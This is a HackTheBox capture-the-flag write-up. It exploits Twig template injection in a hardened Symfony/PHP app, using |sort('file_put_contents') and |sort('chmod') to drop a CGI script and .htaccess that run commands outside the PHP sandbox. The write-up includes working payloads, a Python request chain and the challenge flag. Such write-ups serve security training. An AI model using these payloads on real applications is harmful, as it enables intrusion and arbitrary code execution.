pwneglyph logo
web web-server php symfony twig ssti twig-sandbox-escape sort-callable file-put-contents arbitrary-file-write htaccess cgi execcgi disable-functions-bypass open-basedir-bypass rce

A Symfony page builds a Twig template from ?location= (createTemplate), giving SSTI inside a disable_functions/open_basedir-hardened PHP. Twig's |sort accepts a 2-arg PHP callable comparator, so |sort('file_put_contents') writes arbitrary files: plant a .cgi /readflag script and a .htaccess enabling ExecCGI (AllowOverride All), chmod it via |sort('chmod') (octal!), then request the CGI to run outside the PHP sandbox.

JerryTok — Twig SSTI → CGI drop → RCE outside the PHP sandbox

Platform: HackTheBox · Category: Web (server-side) · Stack: Symfony / Twig on Apache + php-cgi, hardened with disable_functions + open_basedir

Challenge overview

A Symfony controller renders a Twig template built from user input:

$location = $request->get('location');
$message = $this->container->get('twig')->createTemplate(
    "Located at: {$location} from your ship's computer")->render();

So ?location={{7*7}}Located at: 49SSTI. There's a /readflag helper, so the goal is RCE. But PHP is locked down: the entrypoint writes disable_functions = exec,system,popen,... and open_basedir = /www, and Twig's sandbox means you can only call Twig filters/functions — no direct system().

Step 1 — turn Twig filters into arbitrary PHP calls

Twig's list filters accept a plain string as a PHP callable:

  • |map('cb') → calls cb($item) (1 argument)
  • |sort('cb') → calls the comparator cb($a,$b) (2 arguments)

file_put_contents($path,$data) needs two args, so map won't do — but sort's comparator gives us exactly two:

{{ ['/www/public/poc.cgi', "#!/bin/sh\necho Content-Type: text/plain\necho\n/readflag"]
   |sort('file_put_contents') }}

i.e. file_put_contents('/www/public/poc.cgi', '<script body>'). file_put_contents is not in disable_functions, and /www/public is inside open_basedir, so the write succeeds.

Step 2 — escape the PHP sandbox with a CGI + .htaccess

/www/public is AllowOverride All, so a dropped .htaccess is honored. Write one that enables CGI:

{{ ['/www/public/.htaccess', "Options +ExecCGI\nAddHandler cgi-script .cgi\n"]
   |sort('file_put_contents') }}

Now .cgi files run as native processes via Apache mod_cgi, completely outside PHP's disable_functions/open_basedir. Make the script executable with the same trick — but note chmod expects an octal mode, so pass the decimal 493 (= 0755):

{{ ['/www/public/poc.cgi', 493]|sort('chmod') }}

Step 3 — run it

s.get(URL, params={"location": r'''={{ ['/www/public/poc.cgi', "#!/bin/sh\necho Content-Type: text/plain\necho\n/readflag"]|sort('file_put_contents') }}'''})
s.get(URL, params={"location": r'''={{ ['/www/public/.htaccess', "Options +ExecCGI\nAddHandler cgi-script .cgi\n"]|sort('file_put_contents') }}'''})
s.get(URL, params={"location": r'''{{["/www/public/poc.cgi", 493]|sort('chmod')}}'''})
print(s.get(URL + "/poc.cgi").text)   # mod_cgi runs /readflag, no PHP sandbox

Flag: HTB{byp4ss1ng_d1s4bl3d_fuNc7i0n5_and_0p3n_b4s3d1r_c4n_b3_s0_mund4n3}

Takeaways (generalized techniques)

  • Twig sandbox escape via callable-accepting filters: |map, |filter, |sort, |reduce take a string that Twig calls as a PHP callable (call_user_func). |map('system') gives 1-arg calls; |sort('file_put_contents') (comparator = 2 args) gives 2-arg calls — enough for arbitrary file write. |sort('chmod') etc. extends the gadget set.
  • disable_functions/open_basedir don't constrain non-PHP execution. If you can write into a web-exposed dir with AllowOverride All, drop a .htaccess (Options +ExecCGI, AddHandler cgi-script .cgi) plus a CGI script — mod_cgi spawns a real process, sidestepping PHP hardening entirely.
  • chmod() takes octal: pass the decimal equivalent (0755493) when you can't write a literal 0o755.

Sources & references